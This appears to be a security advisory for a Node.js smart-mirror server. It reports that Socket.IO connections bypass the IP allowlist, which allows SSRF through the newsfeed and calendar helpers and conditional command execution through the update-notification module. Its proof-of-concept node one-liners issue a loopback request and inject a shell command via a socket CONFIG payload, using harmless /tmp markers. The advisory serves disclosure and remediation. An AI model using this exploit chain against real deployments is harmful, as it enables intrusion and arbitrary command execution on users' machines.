Summary

Details

• js/server.js:42-50 creates Socket.IO directly on the HTTP(S) server with cors.origin: /.*$/.
• js/server.js:89-90 applies ipAccessControl(config.ipWhitelist) only with app.use(...), which protects Express routes and static files but not Socket.IO handshakes or namespaces.
• A search of runtime files found no allowRequest, io.use(...), handshake IP check, or namespace authentication for Socket.IO; the only relevant matches were js/server.js:44 and js/server.js:90.
• js/node helper.js:88-103 registers every module namespace and dispatches every socket event and payload directly to socketNotificationReceived(...).

• defaultmodules/newsfeed/node helper.js:12-17 accepts CHECK ARTICLE URL and calls checkArticleUrl(payload.url).
• defaultmodules/newsfeed/node helper.js:25-38 performs fetch(url, { method: "HEAD" }) on the supplied URL and sends the result back.
• defaultmodules/calendar/node helper.js:13-24 accepts ADD CALENDAR/FETCH CALENDAR socket messages.
• defaultmodules/calendar/node helper.js:40-58 accepts an arbitrary syntactically valid calendar URL and creates a fetcher.
• defaultmodules/calendar/calendarfetcher.js:35-44 passes the URL into HTTPFetcher, whose fetch sink is js/http fetcher.js:286-294.
• defaultmodules/updatenotification/node helper.js:46-68 accepts CONFIG, MODULES, and SCAN UPDATES notifications and trusts the socket-provided config/module list.
• defaultmodules/updatenotification/update helper.js:43-47 stores update commands from config.
• defaultmodules/updatenotification/update helper.js:96-116 executes the selected update command with child process.exec in the module directory.
• defaultmodules/updatenotification/update helper.js:221-227 looks up the command from config.updates by module name.

• Express HTTP routes are protected by ipAccessControl(config.ipWhitelist) at js/server.js:89-90; this does not protect Socket.IO because Socket.IO is attached to the raw HTTP server and no Socket.IO middleware was found.
• The explicit /cors HTTP endpoint has separate SSRF mitigations (js/server functions.js:47-117) and is disabled by default (js/defaults.js:14); the confirmed request primitive here uses module-helper socket paths, not /cors.
• The command-execution variant is not an unconditional default RCE: updatenotification only executes an update command for a non-core git-managed module that is considered behind. However, the trusted command source is attacker-controlled through the unauthenticated socket CONFIG message once this boundary is crossed.
• Default loopback-only binding lowers default remote exposure, but the sample configuration documents exactly the deployment model where users rely on ipWhitelist for network restrictions.

PoC

1. Confirm that the runtime lacks Socket.IO IP allowlist controls:

grep -RIn --exclude-dir=node modules --exclude-dir=.git --exclude-dir=.claude --exclude-dir=reports -E "allowRequest|io.use(|handshake|ipAccessControl(|cors: {|origin: /.*$/" js defaultmodules serveronly config tests

js/server.js:44:				cors: {
js/server.js:90:			app.use(ipAccessControl(config.ipWhitelist));

2. Confirm a default module helper will perform a server-side request to an attacker-supplied loopback URL when driven through its socket notification handler:

node -e 'const Module=require("module"); const orig=Module. load; Module. load=(r,p,m)=>{ if(r==="logger") return {log(){},error(){},warn(){},info(){},debug(){}}; if(r==="node helper") return {create:(o)=>function(){Object.assign(this,o);this.sendSocketNotification=(n,p)=>console.log("SOCKET",n,JSON.stringify(p));}}; if(r==="./newsfeedfetcher") return function(){}; return orig(r,p,m); }; const calls=[]; global.fetch=async(url,opts)=>{calls.push({url,opts}); return {headers:{get:(h)=>h==="x-frame-options"?"deny":null}};}; const Helper=require("./defaultmodules/newsfeed/node helper"); const h=new Helper(); h.start(); h.socketNotificationReceived("CHECK ARTICLE URL",{url:"http://127.0.0.1:65535/internal"}); setTimeout(()=>console.log("fetchCalls=",JSON.stringify(calls)),10);'

SOCKET ARTICLE URL STATUS {"url":"http://127.0.0.1:65535/internal","canFrame":false}
fetchCalls= [{"url":"http://127.0.0.1:65535/internal","opts":{"method":"HEAD"}}]

3. Confirm the conditional command-execution sink is reachable from the trusted socket-driven update path using a harmless /tmp marker command:

rm -f /tmp/mm-rce-marker
mkdir -p /tmp/mm-audit/modules/evil /tmp/mm-audit/defaultmodules
node -e 'const fs=require("node:fs"); const Module=require("module"); const orig=Module. load; Module. load=(r,p,m)=>{ if(r==="logger") return {log(){},error(){},warn(){},info(){},debug(){}}; if(r==="node helper") return {create:(o)=>function(){Object.assign(this,o);this.sendSocketNotification=()=>{};}}; return orig(r,p,m); }; global.root path="/tmp/mm-audit"; global.defaultModulesDir="defaultmodules"; fs.writeFileSync("/tmp/mm-audit/defaultmodules/defaultmodules.js","module.exports=[]"); const Helper=require("./defaultmodules/updatenotification/node helper"); const h=new Helper(); h.gitHelper={add:async()=>{},getRepos:async()=>[{module:"evil",behind:1}],checkUpdates:()=>[{module:"evil",behind:1}]}; h.sendSocketNotification=(n,p)=>console.log("SOCKET",n,JSON.stringify(p)); (async()=>{ await h.socketNotificationReceived("CONFIG",{updates:[{evil:"printf ok > /tmp/mm-rce-marker"}],updateTimeout:5000,updateAutorestart:false,ignoreModules:[],sendUpdatesNotifications:false,updateInterval:60000,useModulesFromConfig:true}); await h.socketNotificationReceived("MODULES",["evil"]); console.log("marker=",fs.readFileSync("/tmp/mm-rce-marker","utf8")); process.exit(0); })();'
rm -f /tmp/mm-rce-marker
rm -rf /tmp/mm-audit

SOCKET REPO STATUS {"module":"evil","behind":1}
SOCKET UPDATE STATUS {"name":"evil","updateCommand":"printf ok > /tmp/mm-rce-marker","inProgress":true,"error":false,"updated":true,"needRestart":true}
marker= ok

• With the shipped committed defaults (js/defaults.js:8-13), the server binds localhost and ipWhitelist includes only loopback, so a remote network attacker cannot reach either HTTP or Socket.IO unless the deployment is changed to a documented non-loopback address.
• The updatenotification command execution path requires at least one non-core module update result; if checkUpdates() returns no third-party module with behind > 0, update helper.parse(...) does not execute an update command.
• The explicit /cors route was not used for the confirmed request primitive and has separate protocol/hostname/DNS checks.

Impact

• Confidentiality/SSRF: server-side requests to attacker-chosen URLs through default module helpers, including loopback/internal URLs. The newsfeed PoC shows a HEAD request to 127.0.0.1.
• Integrity/availability: arbitrary manipulation of module-helper state and periodic fetch/update behavior through trusted socket messages.
• Conditional code execution: when a third-party git-managed module is considered behind by the update checker, an attacker can supply a command in the socket CONFIG payload and trigger child process.exec; the PoC safely wrote a /tmp marker.

Suggested remediation

• Add SSRF protections or allowlists to calendar/newsfeed/weather helper fetch paths, not only /cors.
• Do not accept updatenotification update commands from socket payloads; use the server-loaded config only, validate module names against configured modules, and avoid shell execution where possible.
• Add regression tests proving a disallowed IP receives a rejected Socket.IO handshake even when Express routes are protected, and proving /newsfeed//calendar helper messages from unauthenticated sockets cannot trigger server-side requests or update commands.